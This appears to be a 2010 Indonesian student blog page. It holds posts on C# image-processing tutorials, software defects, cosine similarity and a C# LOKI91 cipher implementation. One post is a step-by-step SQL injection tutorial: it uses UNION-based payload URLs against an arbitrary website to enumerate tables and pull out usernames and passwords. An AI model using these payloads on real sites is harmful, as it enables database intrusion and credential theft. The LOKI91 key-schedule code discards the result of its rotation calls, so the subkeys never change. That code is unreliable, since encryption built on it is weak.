01 Jul 2010 @ 11:01 PM 

Cuma mau share aja Gan, ni gue bikin tutorial sederhana buat image processing pakai C#. Baru nyampe chapter 4 heheheh :)

Download file tutorial

Tutorial pengolahan citra Chapter 1
Tutorial pengolahan citra Chapter 2
Tutorial pengolahan citra Chapter 3
Tutorial pengolahan citra Chapter 4

Buat yang uda expert ya jangan diketawain nih tutorial, ane kan cuma mau share aja. Ni tutorial buat pemula yang pengen belajar C#.

^.^

Tags Categories: Uncategorized Posted By: Bayu Pratama Rudy Nugraha
Last Edit: 01 Jul 2010 @ 11 01 PM

EmailPermalinkComments (0)

 04 May 2010 @ 3:10 PM 

A. PENDAHULUAN

Sebuah defect adalah suatu karakteristik yang mengurangi kegunaan atau harga suatu item; atau semacam kelemahan, ketidaksempurnaan, atau kekurangan[1]. Software defect merupakan segala cacat atau ketidaksempurnaan didalam produk software (program komputer, perencanaan, dokumentasi terkait, atau data) atau proses software (aktivitas, metode dan transformasi yang digunakan untuk mengembangkan dan mengelola produk software). Software defect merupakan perwujudan dari kesalahan manusia (produsen software); biar bagaimanapun tidak semua kesalahan manusia merupakan defect, dan tidak semua defect merupakan hasil kesalahan manusia. Ketika ditemukan di dalam executable code, sebuah defect lebih sering disebut fault atau bug. Sebuah fault adalah langkah program, proses, atau data yang salah di dalam program komputer. Fault merupakan defect yang menetap di dalam software sampai software tersebut dieksekusi.

Istilah lain yang berhubungan dengan software defect adalah sotware problem. Software problem adalah sesuatu yang ditemui manusia dari software yang menyebabkan kesulitan, keraguan, atau ketidaktentuan dalam penggunaan atau pemeriksaan software. Dalam lingkungan dinamik (operasional), beberapa problem/masalah mungkin disebabkan oleh failure. Suatu software failure terjadi selama eksekusi program. Sebuah failure disebabkan oleh fault, yang mana defect ditemukan dalam executable code. Dalam lingkungan statis (non-operasional), seperti inspeksi kode, suatu problem mungkin disebabkan oleh defect. Diantara lingkungan dinamik dan statis, problem munbkin disebabkan oleh kesalahpahaman, kesalahan penggunaaan atau sejumlah faktor lain yang tidak berhubungan dengan produk software yang sedang digunakan.

B. 10 HAL TENTANG SOFTWARE DEFECT

Berikut ini daftar 10 hal teratas dalam software defect reduction [2] yang disesuaikan dari “Industrial Metrics Top 10 List” (B. Boehm, IEEE Software, Sept. 1987, pp. 84-85)

  1. Menemukan dan memperbaiki software problem setelah delivery seringkali 100 kali lebih mahal daripada menemukan dan memperbaikinya selama fase requirements and design. Sebagaimana yang diobservasi Boehm di tahun 1987, “pengetahuan ini telah menjadi penggerak utama di dalam memfokuskan praktek industri software pada desain dan analisis kebutuhan yang teliti, verifikasi dan validasi sejak permulaan, serta prototyping dan simulasi di awal untuk mencegah masalah beruntut yang menghabiskan biaya.” Penggunaan kata “seringkali” dikarenakan pada sistem software yang kecil dan noncrtical lebih mendekati 5:1 daripada 100:1.

  2. Proyek software saat ini menghabiskan upaya mereka sekitar 40 – 50% pada mengerjakan kembali pekerjaan (rework) yang sebetulnya pekerjaan tersebut dapat dicegah. Mengurangi “pengerjaan ulang yang sebetulnya dapat dicegah” dapat secara signifikan meningkatkan produktivitas software. Suatu pengerjaan ulang terdiri atas upaya yang dihabiskan untuk memperbaiki berbagai kesulitan software yang bisa saja telah ditemukan lebih awal. Implikasinya, suatu upaya juga terdiri atas "pengerjaan ulang yang tidak dapat dihindarkan", sebuah observasi yang meningkatkan kredibilitas dengan meningkatkan realisasi yang menghasilkan sistem user-interaktif yang lebih baik dari proses-proses yang muncul. Dalam proses-proses tersebut, kebutuhan yang muncul dari prototyping dan aktivitas multistakeholder-shared-learning, kemudian membawa ke praktek desain dan coding. Proses muncul yang mengindikasikan perubahan pada definisi sistem yang membuatnya lebih cost-effective tidak perlu diklasifikaskan sebagai defect yang dapat dicegah.

  3. Sekitar 80% dari pengerjaan ulang (rework) berasal dari 20% defect. Nilai 80% tersebut mungkin lebih rendah untuk sistem yang kecil dan lebih tinggi untuk sistem yang sangat besar. Dua sumber utama dari "pengerjaan ulang yang dapat dicegah" (avoidable rework) meliputi menetapkan kebutuhan dan biaya desain serta pengembangan dengan tergesa-gesa, yang mana menyebabkan kerusakan code, desain, dan arsitektur utama. Suatu sistem tracking untuk laporan permasalahan software yang mencatat upaya untuk perbaikan setiap defect, membantu anda menganalisa data dengan mudah untuk menentukan sumber tambahan utama untuk rework.

  4. Sekitar 80% defect berasal dari 20% dari modul, dan sekitar separuh dari modul adalah bebas dari defect. Studi dari environment yang berbeda-beda pada beberapa tahun telah menunjukkan, dengan sangat konsisten, bahwa antara 60 sampai 90% defect timbul dari 20% modul, dengan median sekitar 80%.

  5. Sekitar 90% dari downtime berasal dari, paling banyak, 10% dari defect. Namun, beberapa defect tak begitu mempengaruhi downtime dan reliability sistem. Sebagai contoh, sebuah analisis sejarah software failure dari 9 produk software besar IBM mengungkapkan bahwa sekitar 0,3% defect dihitung untuk sekitar 90% downtime.

  6. Peer review menemukan 60% dari defect. Jika menemukan dan memperbaiki sebagian besar defect di dalam siklus pengembangan proyek adalah lebih cost-effective daripada menemukannya kemudian, kita mencari teknik yang dapat menemukan defect seawal mungkin. Berbagai studi mengemukakan bahwa peer review menyediakan teknik efektif yang dapat menemukan defect hingga 31-93%, dengan median sekitar 60%. Sehingga, 60% nilai yang disebut pada tahun 1987 tersebut merupakan estimasi yang beralasan. Faktor yang mempengaruhi persentase defect untuk ditemukan adalah termasuk jumlah dan tipe peer review yang dibentuk, ukuran dan kompleksitas sistem, dan frekuensi defect yang lebih bagus ditemukan oleh eksekusi, seperti defect algoritma dan concurrency. Studi menunjukkan fakta bahwa peer review, tool analisis, dan testing menangkap kelas defect yang berbeda pada poin yang berbeda di dalam siklus pengembangan. Kita membutuhkan riset empiris untuk membantu memilih strategi gabungan terbaik untuk investasi defect-reduction.

  7. Perspective-based review menemukan defect 35% lebih banyak daripada nondirected review.

  8. Mempraktekkan disiplin personal dapat mengurangi tingkat awal defect hingga 75%. Beberapa proses disiplin personal telah dibawa ke dalam praktik. Ini termasuk Harlan Mills’s Cleanroom software development process dan Watts Humphrey’s Personal Software Process (PSP). Data dari penggunaan Cleanroom pada NASA telah menunjukkan 25-75% pengurangan tingkat kesalahan selama testing. Penggunaan Cleanroom juga memperlihatkan pengurangan upaya pengerjaan kembali (rework) sehingga hanya 5% dari perbaikan yang memerlukan waktu lebih dari sejam, dimana proses standar memberikan lebih dari 60% dari perbaikan memerlukan waktu lebih lama. Sementara PSP berfous pada akar penyebab software defect individual, pada pengembangan ceklis personal, serta pada penceghan pengulangan kembali, telah secara signifikan mengurangi tingkat defect personal.

  9. Jika semua hal sama, setiap intruksi sumber akan menghabiskan 50% lebih banyak untuk mengembangkan produk software high-dependability daripada untuk mengembangkan produk software low-dependability. Bagaimanapun investasi lebih dari nilainya jika proyek meliputi biaya operasi signifikan dan biaya pengelolaan.

  10. Sekitar 40 – 50% program user mengandung defect yang tidak sepele / nontrivial. Sebuah studi pada area ini menemukan bahwa 44% dari 27 program spreadsheet yang diproduksi oleh developer spreadsheet berpengalaman mengandung defect nontrivial / tidak sepele — sebagian besar error di dalam formula spreadsheet (P.S. Brown and J.D. Gould, “An Experimental Study of People Creating Spreadsheets,” ACM Trans. Office Info. Sys., July 1987, pp.258-272) . Eksperimen lab selanjutnya melaporkan bahwa tingkat defect spreadsheet saat itu 35-90%. Analisa spreadsheet yang berjalan mengungkapkan tingkat defect antara 21-26%; tingkat defect yang rendah mungkin dari koreksi yang dibuat selama pengoperasian.

C. CONTOH SOFTWARE DEFECT

Berikut ini adalah contoh dari adanya software defect yang pernah terjadi

  1. Pada komputer Windows XP ,user tidak bisa melakukan hibernate apabila komputer memiliki 1GB atau lebih RAM, atau ketika komputer menjalankan multiple proses yang menyebabkan kondisi high-stres (Article ID 330909). Microsoft telah membuat update patch pada SP2 [3].

  2. Komputer yang menjalankan Microsoft Windows XP ada kemungkinan berhenti me-respon/nge-hang ketika pesan “Applying local settings” muncul setelah login. Masalah ini terjadi ketika file srvsvc.dll menimbulkan error access violation. Error ini menghentikan proses svchost.exe yang meload layanan seperti workstation dan server. Akibatnya winlogon.exe berhenti merespon setelah anda log on ke windows (Article ID 823830). Microsoft telah membuat update patch masalah ini pada SP2.

  3. Pada website situs jejaring sosial Friendster (www.friendster.com) di tahun 2008, banyak sekali ditemukan bug dan defect. Pada tahun 2008, situs Friendster tidak memiliki pengecekan comment yang sempurna. Pengguna bisa memasukkan javascript di dalam komentar yang berformat HTML. Hasilnya, user dapat menyisipkan javascript yang bisa menyebabkan user lain tidak dapat mengakses profilnya, bahkan bisa terjadi pencurian cookies web milik user lain. Saat ini, pihak Friendster telah memperbaiki situsnya sehingga lebih aman.

  4. Pada Microsoft Office Excel 2007, jika anda melakukan perhitungan 850 x 77,1 pada A1 akan ditampilkan hasil 100000 dimana seharusnya hasilnya 65535. Tentu saja hal ini akan berakibat pada kesalahan perhitungan [4].

D. REFERENSI

[1.] William A. Florac, “Software Quality Measurement: A Framework for Counting Problems and Defects”, Technical Report p.23-24, Carnegie Mellon University, 1996 (in Pennsylvania).

[2.] Barry Boehm, Victor R. Basili, “Software Defect Reduction Top 10 List”, Software Management p.135-137, January 2001.

[3.] http://support.microsoft.com

[4.] http://digg.com/microsoft/Critical_Excel_2007_bug_cripples_users

Contest One Post for UNS

Tags Categories: komputer, kuliah Posted By: Bayu Pratama Rudy Nugraha
Last Edit: 04 May 2010 @ 03 29 PM

EmailPermalinkComments (2)

 04 May 2010 @ 6:06 AM 

SQL Injection merupakan kelemahan dari web yang paling sering ditemukan saat ini. Singkatnya itu memungkinkan penyerang untuk menjalankan Query SQL di dalam URL web dan mendapatkan akses informasi dari database (Singkatnya begitu lah..)

Langkah2 nya begini…

1. cek vulnerabilitas suatu website
Misalkan alamat website contohnya adalah www.contoh.com/news.php?id=7
Sekarang test apakah ada kelemahan, dengan menambahkan tanda ‘ (petik satu)
Dan alamatnya akan mirip seperti

www.contoh.com/news.php?id=7'

Jika muncul error yang mirip mirip seperti :

Warning: “mysql_fetch_array(): supplied argument is not a valid MySQLresult resource in /www/web/contoh.com/news.php on line 99… bla bla bla…”
atau mirip mirip seperti
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…
Itu artinya website tersebut bisa diberikan SQL injection.

2. cek banyaknya kolom
Untuk menemukan banyaknya kolom dapat menggunakan statement ORDER BY.
Nah penggunaannya seperti berikut.
http://www.contoh.com/news.php?id=7 ORDER BY 1/* <– gak da Error
http://www.contoh.com/news.php?id=7 ORDER BY 2/* <– gak da Error
http://www.contoh.com/news.php?id=7 ORDER BY 3/* <– gak da Error


Intinya kita naikkan angkanya sampai kita dapatkan Error !!

http://www.contoh.com/news.php?id=7 ORDER BY 6/* <– gak da Error
http://www.contoh.com/news.php?id=7 ORDER BY 7/* <– muncul pesan ErroR

Itu artinya, bahwa itu memiliki 6 kolom, karena kita mendapati error pada angka ke 7.

3. Cek UNION Function
Dengan UNION kita dapat melakukan SELECT data di dalam SQL statement.
Dari nomer 2 kita tadi dapati memiliki kolom sebanyak 6, sehingga untuk mengecek UNION menjadi

http://www.contoh.com/news.php?id=7 UNION ALL SELECT 1,2,3,4,5,6/*

Jika di layar halaman setelah loading muncul angka, misal 3 atau 4 atau keduanya, maka UNION bisa bekerja.
(Dalam contoh ini kita anggap muncul angka 3 dan 4). Oya, misalkan /* tidak bekerja, coba gunakan — (minus minus)

4. Cek Versi MySQL
Tadi dari nomer 3, muncul angka 3 dan 4. Sekarang kita gunakan kolom nomer 3 atau 4 itu untuk mengecek versi MySQL.
Sehingga akan menjadi seperti :

http://www.contoh.com/news.php?id=7 UNION ALL SELECT 1,2,version(),4,5,6/*

Hasilnya akan muncul versi MySQL, misal versi 5.0

NB: Seharusnya cara diatas gak error, tapi kalo misal error coba deh pake
http://www.contoh.com/news.php?id=7 UNION ALL SELECT 1,2,convert(@@version using latin1),4,5,6/*
atau pakai
http://www.contoh.com/news.php?id=7 UNION ALL SELECT 1,2,unhex(hex(@@version)),4,5,6/*

5. Mendapatkan nama tabel dan kolom.
Ini merupakan bagian yang agak susah apabila versi MySQL server kurang dari versi 5, karena butuh Hoki dan keberuntungan yang tinggi. (Uhh…)
Berikut saya jelaskan untuk MySQL versi < 5 .
Pada umumnya nama tabel adalah : tbl_user, user, admin
Pada umumnya nama kolom adalah : user, username, passwd, kode, password, id

Sekarang kita coba
http://www.contoh.com/news.php?id=7 UNION ALL SELECT 1,2,3,4,5,6 from tbl_user/*
Apabila beruntung, tidak muncul error, itu artinya tabel bernama “tbl_user” ada dalam database. Jika ternyata muncul pesan Error, coba dengan kemungkinan nama tabel lainnya.

Dari nomer 3 tadi, kolom nomer 3 dan 4 bisa kita pakai. Selanjutnya kita cari nama kolom (Yah.. lagi lagi nebak..)
http://www.contoh.com/news.php?id=7 UNION ALL SELECT 1,2,username,4,5,6 from tbl_user/*
atau
http://www.contoh.com/news.php?id=7 UNION ALL SELECT 1,2,3,username,5,6 from tbl_user/*
Nah, jika tidak Error maka harusnya muncul isi dari kolom username (:D)
Kalo error, coba deh cari kemungkinan nama kolom yang lain. (Pikir dunk…)

NB: Anda bisa menggunakan CONCAT, misal
http://www.contoh.com/news.php?id=7 UNION ALL SELECT 1,2,concat(username,char(32),password),4,5,6 from tbl_user/*

NAH SEKARANG UNTUK MYSQL V.5
MySQL v.5 menyimpan seluruh informasi tabel dan kolom di tabel bernama information_schema. Sehingga bisa:
http://www.contoh.com/news.php?id=7 UNION ALL SELECT 1,2,table_name,4,5,6 from information_schema.tables LIMIT 0,1/*
Di sini kita harus menggunakan limit agar ditampilkan satu persatu, jika tidak pakai Limit tidak bisa. Untuk nama tabel selanjutnya bisa dengan menambah LIMIT. Lakukan dari Limit (0,1) , (1,1), (1,2) , (2,3) … dst sampai anda menemukan informasi yang anda butuhkan.
Untuk kolom pun juga sama yaitu :
http://www.contoh.com/news.php?id=7 UNION ALL SELECT 1,2,column_name,4,5,6 from information_schema.columns LIMIT 0,1/*

OK, Thats aLL, jika ada yang dirasa kurang, anda bisa improvisasi sendiri. Jika ada yang kurang jelas, coba anda buka lagi buku handbook Database anda !!! ( :p emang ada tutoriale di situ????)

By BayuPRN :p keep smile and fun.

Contest One Post for UNS

Tags Tags: , ,
Categories: komputer
Posted By: Bayu Pratama Rudy Nugraha
Last Edit: 04 May 2010 @ 03 28 PM

EmailPermalinkComments (6)

Ok bro, kali ini saya upload source code program sederhana untuk similarity machine :grin:

Untuk teorinya tentang Similarity Machine bis dibaca : :lol:


\text{similarity} = \cos(\theta) = {A \cdot B \over \|A\| \|B\|}.

Cosine similarity is a measure of similarity between two vectors of n dimensions by finding the cosine of the angle between them, often used to compare documents in text mining. Given two vectors of attributes, A and B, the cosine similarity, θ, is represented using a dot product and magnitude as

For text matching, the attribute vectors A and B are usually the term frequency vectors of the documents. The cosine similarity can be seen as a method of normalizing document length during comparison.

The resulting similarity ranges from −1 meaning exactly opposite, to 1 meaning exactly the same, with 0 indicating independence, and in-between values indicating intermediate similarity or dissimilarity.

In the case of information retrieval, the cosine similarity of two documents will range from 0 to 1, since the term frequencies (tf-idf weights) cannot be negative. The angle between two term frequency vectors cannot be greater than 90°.


Download source code nya disini  !!!! (Klik kanan save as)

Maaf maaf, saya belum sempat nulis penjelasan source code nya, belum sempat :P

Tags Tags: , , ,
Categories: komputer
Posted By: Bayu Pratama Rudy Nugraha
Last Edit: 25 Jan 2010 @ 04 36 PM

EmailPermalinkComments (0)

:smile: Download File Listing Source Code KLIK DI SINI !!!

Di dalam kriptografi ada berbagai macam algoritma yang dapat digunakan, baik yang termasuk algoritma kriptografi modern maupun algoritma kriptografi klasik. Yang termasuk di dalam algoritma kriptografi modern adalah algoritma cipher block. Chiper block merupakan sebuah algoritma simetri yang mengoperasikan bit-bit yang mempunyai panjang yang sama. Sebagai contoh, ketika melakukan enkripsi, sebuah 128-bit blok plaintext akan menghasilkan sebuah 128-bit blok ciphertext. Begitu pula dengan proses deskripsi. Sebuah 128-bit blok ciphertext akan menghasilkan 128-bit blok plaintext.

Sudah banyak sekali algoritma cipher block yang dikembangkan. Salah satunya adalah LOKI. LOKI dirancang oleh kriptografer Australia yaitu Lawrie Brown, Josef Pieprzyk, dan Jennifer Seberry. LOKI didesain sebagai hasil dari analisis yang dilakukan secara detail terhadap blok cipher yang standar digunakan pada saat itu, yaitu DES (Data Encryption Standar). Dikarenakan ada versi terbaru dari LOKI ini, maka LOKI yang dibuat pertama kali lebih dikenal dengan nama LOKI89 sesuai

dengan tahun pembuatannya, walaupun LOKI pertama kali diperkenalkan pada tahun 1990. LOKI91 dibuat sebagai revisi dari LOKI89. Oleh karena itulah terdapat beberapa kesamaan antara LOKI91 dan LOKI89.

LOKI didesain untuk menggantikan DES sehingga strukturnya pun dibuat hampir sama dengan DES. LOKI menggunakan blok data sepanjang 64 bit dan kunci sepanjang 64 bit pula.

Desain LOKI91

Tambahan-tambahan yang terdapat pada LOKI91 dari LOKI89 adalah sebagai berikut.

  • Jadwal pembangkitan kunci diperbaiki sehingga meminimalkan pembangkitan kunci yang sama ataupun pasangan kunci dan plainteks yang berhubungan.
  • Meminimalkan probabilitas f(x) menghasilkan 0
  • Menjamin bahwa blok telah diputar dengan jumlah yang cukup sehingga serangan yang mungkin ada hanya exhaustive search.
  • Menjamin bahwa S-box tidak akan menghasilkan 0 sehingga meningkatkan keamanan untuk mode hashing.

Spesifikasi LOKI91

Perubahan-perubahan yang terdapat pada LOKI91 adalah sebagai berikut.

  1. Merubah jadwal pembangkitan kunci sedemikian sehingga kunci kanan KR dan kunci kiri KL ditukar setiap dua putaran.
  2. Merubah jadwal rotasi kunci dengan menggunakan dua buah cara yaitu antara ROT12 (putaran ganjil) dan ROT13 (putaran genap).
  3. Menghilangkan operasi XOR di awal dan akhir antara kunci dan blok yang akan dienkripsi/didekripsi.
  4. Merubah fungsi S-box menjadi sebagai berikut.

Sfn (r,c) = (c + ((r*17) (+) ff16) & ff16) 31 mod genr

Implementasi LOKI91

Kunci masukan disimpan di dalam array of Unsigned Integer32. Sedangkan subkunci untuk 16 putaran dideklarasikan dengan cara :

public class loki_ctx {

public uint[] loki_subkeys ;

public loki_ctx()

{

loki_subkeys = new uint[16];

}

}

public class LOKI

{

// deklarasi variabel di sini

loki_ctx lctx;

// deklarasi variabel di sini

}

Fungsi perputaran didefinisikan sebagai berikut.

private uint CircularShift( int bitsCount, UInt32 word )

{

return (word << bitsCount) | (word >> (32 - bitsCount));

}

CircularShift( 12, b ); digunakan untuk menggeser 32 bit blok b ke kiri secara sirkular sepanjang 12 bit. Sedangkan CircularShift( 13, b ); digunakan untuk menggeser 32 bit blok b ke kiri secara sirkular sepanjang 13 bit.

Sebelum melakukan proses enkripsi/dekripsi, subkunci sebanyak 16 buah harus dibangkitkan terlebih dahulu. Sebelum pembangkitan kunci dilakukan, kunci masukan harus dibagi

dua bagian yaitu KL dan KR seperti pada pembagian kunci di LOKI89.

Pembangkitan subkunci dilakukan dengan cara :

public void SetLokiKey( byte[] key)

{

int i;

uint KL, KR;

KL = Get32BitFrom64Bit( key, 0 );

KR = Get32BitFrom64Bit( key, 1 );

for (i=0; i<ROUNDS; i+=4) { /* Generate the 16 subkeys */

lctx.loki_subkeys[i] = KL;

CircularShift( 12, KL );

lctx.loki_subkeys[i+1] = KL;

CircularShift( 13, KL );

lctx.loki_subkeys[i+2] = KR;

CircularShift( 12, KR );

lctx.loki_subkeys[i+3] = KR;

CircularShift( 13, KR );

}

}

Dengan ROUNDS=16.

Proses Enkripsi

Blok masukan dibagian menjadi dua buah bagian yang sama besar, yaitu R dan L.

uint L, R; /* left & right data halves */

L = Get32BitFrom64Bit( data8byte, 0 );

R = Get32BitFrom64Bit( data8byte, 1 );

Kemudian dilakukan proses enkripsi dengan menggunakan 16 buah subkunci yang telah dibangkitkan sebelumnya. Proses enkripsi dengan menggunakan subkunci ini dilakukan dengan cara sebagai berikut.

for (i = 0; i < ROUNDS; i += 2)

{ /* Encrypt with the 16 subkeys */

L ^= f( R, lctx.loki_subkeys[i] );

R ^= f( L, lctx.loki_subkeys[i + 1] );

}

Operasi yang terakhir dilakukan dalam proses enkripsi adalah dengan menukar L dan R :

byte[] bL = SplitUIntToByte( R );

byte[] bR = SplitUIntToByte( L );

data8byte[0] = bL[0];

data8byte[1] = bL[1];

data8byte[2] = bL[2];

data8byte[3] = bL[3];

data8byte[4] = bR[0];

data8byte[5] = bR[1];

data8byte[6] = bR[2];

data8byte[7] = bR[3];

Proses Dekripsi

Pada dasarnya proses dekripsi mirip dengan proses enkripsi, hanya saja putaran dilakukan dengan urutan yang terbalik dari proses enkripsi.

Pertama-tama, blok yang akan didekripsi dibagi menjadi dua buah bagian yang sama, yaitu L dan R.

uint L, R; /* left & right data halves */

L = Get32BitFrom64Bit( data8byte, 0 );

R = Get32BitFrom64Bit( data8byte, 1 );

Kemudian dilakukan putaran dengan cara sebagai berikut.

for (i=ROUNDS; i>0; i-=2) { /* subkeys in reverse order */

L ^= f(R, lctx.loki_subkeys[i-1]);

R ^= f(L, lctx.loki_subkeys[i-2]);

}

Proses terakhir yang dilakukan pada dekripsi adalah dengan melakukan penukaran antara L dengan R sebagai berikut

byte[] bL = SplitUIntToByte( R );

byte[] bR = SplitUIntToByte( L );

data8byte[0] = bL[0];

data8byte[1] = bL[1];

data8byte[2] = bL[2];

data8byte[3] = bL[3];

data8byte[4] = bR[0];

data8byte[5] = bR[1];

data8byte[6] = bR[2];

data8byte[7] = bR[3];

Fungsi f(r,k)

Fungsi didefinisikan dengan private uint f( uint r, uint k )

Fungsi f(r,k) merupakan sebuah fungsi LOKI91yang kompleks dan nonlinier yang menghasilkan keluaran yang merupakan hasil dari fungsi kompleks dari masukan dan subkunci. Hal ini dilakukan dengan cara sebagai berikut:

Operasi XOR dilakukan terhadap data masukan (r) dengan subkunci(k). Setelah itu data diperpanjang menjadi 4×12 bit yang akan dimasukkan ke dalam S-box. Keluaran 4×8 bit dari S-box akan dipermutasikan untuk menghasilkan 32 bit keluaran dari fungsi f ini.

Pertama-tama data masukan r dikenai fungsi XOR dengan subkunci masukan dan hasilnya disimpan dalam a.

a = r ^ k;

Sejauh ini operasi yang dilakukan adalah : A = R(i-1) XOR K(i)

Setelah itu dilakukan ekspansi dan hasilnya dimasukkan ke dalam S-box.

b = ((uint) s( (uint)(a & MASK12) )) |

((uint) s( (uint)((a >> 8) & MASK12) ) << 8) |

((uint) s( (uint)((a >> 16) & MASK12) ) << 16) |

((uint) s( (uint)(((a >> 24) | (a << 8)) & MASK12) ) << 24);

Dimana MASK12 adalah 0×0fff. Sejauh ini operasi yang telah dilakukan adalah.

B = S(E(R(i-1))^K(i))

Operasi yang terakhir dilakukan pada fungsi f ini adalah melakukan permutasi dengan cara :

perm32(ref C, b, P );

Dengan P didefinisikan sebagai berikut

byte[] P = {

31, 23, 15, 7, 30, 22, 14, 6, 29, 21, 13, 5, 28, 20, 12, 4,

27, 19, 11, 3, 26, 18, 10, 2, 25, 17, 9, 1, 24, 16, 8, 0

};

Dengan demikian, keseluruhan proses fungsi f ini adalah :

C=P(S(E(R(i-1)) XOR K(i)))

Dengan C adalah nilai yang dihasilkan oleh fungsi f ini.

S-box

Fungsi ini didefinisikan dengan private short s(uint i)

Proses yang dilakukan dalam S-box ini adalah sebagai berikut.

Pertama-tama penentuan nilai baris.

r = (short)(((i>>8) & 0xc) | (i & 0×3));

Setelah penentuan baris selesai, selanjutnya adalah penentuan kolom

c = (short) ((i >> 2) & 0xff);

Kemudian menentukan nilai basis untuk Sfn.

t = (short)((c + ((r * 17) ^ 0xff)) & 0xff);

Tahapan terakhir yang dilakukan adalah menghitung nilai Sfn[r] = t ^ exp mod gen.

v = exp8(t, sfn[r].exp, sfn[r].gen);

Dengan demikian nilai yang dihasilkan dari fungsi S-box ini adalah v.

Permutasi : perm32(out, in, perm)

Didefinisikan dengan private void perm32(ref uint b_out, uint b_in , byte[] p)

Fungsi permutasi pada LOKI91 sama dengan fungsi permutasi pada LOKI89 dimana melakukan operasi permutasi biasa yang mendapat masukan 32 bit blok in, menghasilkan 32 bit blok out. Setiap elemen dari perm menspesifikasikan bit masukan mana yang harus dipermutasikan menjadi bit keluaran dengan indeks yang sama dengan elemen perm.

Fungsi permutasi ini dilakukan dengan cara :

uint mask = 0×80000000;

int i, o, b;

b_out = 0;

for (o=0; o<32; o++) {

i =(int)p[o];

b = (int)(b_in >> i) & 0×1;

if (b == 1)

{

b_out |= mask;

}

mask >>= 1;

}

/*

p = perm

o = indeks bit keluaran

i = indeks bit masukan

*/

Untuk setiap bit keluaran di posisi o, ambil nilai masukan yang akan dipermutasikan ke bit keluaran o. Hitung nilai dari untuk bit masukan i. Jika i telah diset, lakukan OR pada mask untuk bit keluaran i. Geser mask ke bit selanjutnya.

Eksponensial : exp8(base, exponent, gen)

didefinisikan dengan private short exp8(short expbase, short exponent, short gen)

Fungsi eksponensial LOKI91 sama dengan LOKI89, tidak ada perubahan sama sekali. Fungsi ini tetap melakukan operasi : exp = base ^ exp mod gen

Proses dari fungsi ini adalah sebagai berikut.

short accum = expbase;

short result = 1;

if ( expbase == 0) {

return(0);

}

while (exponent != 0) {

if (( exponent & 0×0001) == 0×0001) {

result = mult8(result, accum, gen);

}

exponent >>= 1;

accum = mult8(accum, accum, gen);

}

return (result);

Jika nilai base adalah 0 maka fungsi akan otomatis mengembalikan nilai 0. Jika tidak 0 maka dilakukan proses perulangan hingga exponent menjadi 0. Eksponen akan dikenai fungsi mult8 jika nilai eksponen adalah 1. Lalu nilai eksponen bergeser ke digit selanjutnya.

Multiply : mult8(a, b, gen)

Fungsi ini didefinisikan dengan private short mult8( short a, short b, short gen )

Fungsi mult8 mengembalikan hasil perkalian dari dua buah string biner a dan b serta menggunakan generator gen sebagai modulus.

mult = a * b mod gen

Proses dari fungsi ini adalah sebagai berikut.

short product = 0; /* result of multiplication */

while (b != 0)

{ /* while multiplier is non–zero */

if ((b & 1) == 1)

{

product ^= a; /* add multiplicand if LSB of b set */

}

a <<= 1; /* shift multiplicand one place */

if (a >= SIZE)

{

a ^= gen; /* and modulo reduce if needed */

}

b >>= 1; /* shift multiplier one place */

}

return (product);

Selama pengali b tidak 0, lakukan proses berikut ini : jika LSB dari b merupakan 1, tambahkan hasil perkalian dengan a. Geser a sebanyak satu digit. Jika a lebih besar dari 256, maka a dikurangi modulo. Geser a sebanyak satu digit.

ScreenShoot Program

clip_image002

Mengetikkan plain text secara manual, dan mengetikkan hexadecimal password. (Password hanya bisa menerima karakter 0-9 dan A-F

clip_image004

Hasil enkripsi pesan diatas

clip_image006

Pesan juga bisa disimpan ke dalam File.

clip_image008

clip_image010

clip_image013

Jika dilakukan dekrip bisa kempali seperti semula

clip_image015

Tersedia juga fitur Copy, Edit, dan Paste

clip_image017

clip_image019

SOURCE CODE


Keterangan

Program dibuat menggunakan bahasa C#.NET dan dikompilasi menggunakan .NET Framework v.2.0. Untuk menjalankan program minimal Microsoft .NET Famework versi 2.0 (Windows) atau Mono versi 2.4 (Linux) sudah terinstall di komputer.

Untuk menjalankan program di Windows, jalankan KriptoIlkompLoki91.exe

Untuk menjalankan di linux, melalui console jalankan perintah

$> mono KriptoIlkompLoki91.exe

Jika ingin mengkompilasi ulang source code di Windows, ketikkan

$> msbuild KriptoIlkompLoki91.sln

Jika ingin mengkompilasi ulang source code di Linux, ketikkan

$> xbuild KriptoIlkompLoki91.sln


File : LOKI.cs (Berisi class untuk LOKI)

using System;

using System.Collections.Generic;

using System.Text;

namespace KriptoIlkompLoki91

{

public class LOKI

{

const string VER = “LOKI91″;

const byte ROUNDS = 16;

const byte LOKIBLK = 9;

const short MASK12 = 0×0fff ;

const uint MSB = 0×80000000;

const short SIZE = 256;

byte[] P = {

31, 23, 15, 7, 30, 22, 14, 6,

29, 21, 13, 5, 28, 20, 12, 4,

27, 19, 11, 3, 26, 18, 10, 2,

25, 17, 9, 1, 24, 16, 8, 0

};

sfn_desc[] sfn;

loki_ctx lctx;

private uint CircularShift( int bitsCount, UInt32 word )

{

return (word << bitsCount) | (word >> (32 - bitsCount));

}

private void enloki( ref byte[] data8byte )

{

int i;

uint L, R; /* left & right data halves */

L = Get32BitFrom64Bit( data8byte, 0 );

R = Get32BitFrom64Bit( data8byte, 1 );

for (i = 0; i < ROUNDS; i += 2)

{ /* Encrypt with the 16 subkeys */

L ^= f( R, lctx.loki_subkeys[i] );

R ^= f( L, lctx.loki_subkeys[i + 1] );

}

byte[] bL = SplitUIntToByte( R );

byte[] bR = SplitUIntToByte( L );

data8byte[0] = bL[0];

data8byte[1] = bL[1];

data8byte[2] = bL[2];

data8byte[3] = bL[3];

data8byte[4] = bR[0];

data8byte[5] = bR[1];

data8byte[6] = bR[2];

data8byte[7] = bR[3];

return;

}

private void deloki( ref byte[] data8byte )

{

int i;

uint L, R; /* left & right data halves */

L = Get32BitFrom64Bit( data8byte, 0 );

R = Get32BitFrom64Bit( data8byte, 1 );

for (i=ROUNDS; i>0; i-=2) { /* subkeys in reverse order */

L ^= f(R, lctx.loki_subkeys[i-1]);

R ^= f(L, lctx.loki_subkeys[i-2]);

}

byte[] bL = SplitUIntToByte( R );

byte[] bR = SplitUIntToByte( L );

data8byte[0] = bL[0];

data8byte[1] = bL[1];

data8byte[2] = bL[2];

data8byte[3] = bL[3];

data8byte[4] = bR[0];

data8byte[5] = bR[1];

data8byte[6] = bR[2];

data8byte[7] = bR[3];

}

private uint f( uint r, uint k )

{

/* r Data value R(i–1) */

/* k Key K(i) */

uint a, b, C; /* 32 bit S–box output, & P output */

a = r ^ k; /* A = R(i–1) XOR K(i) */

C = 0;

b = ((uint) s( (uint)(a & MASK12) )) | /* B = S(E(R(i–1))^K(i)) */

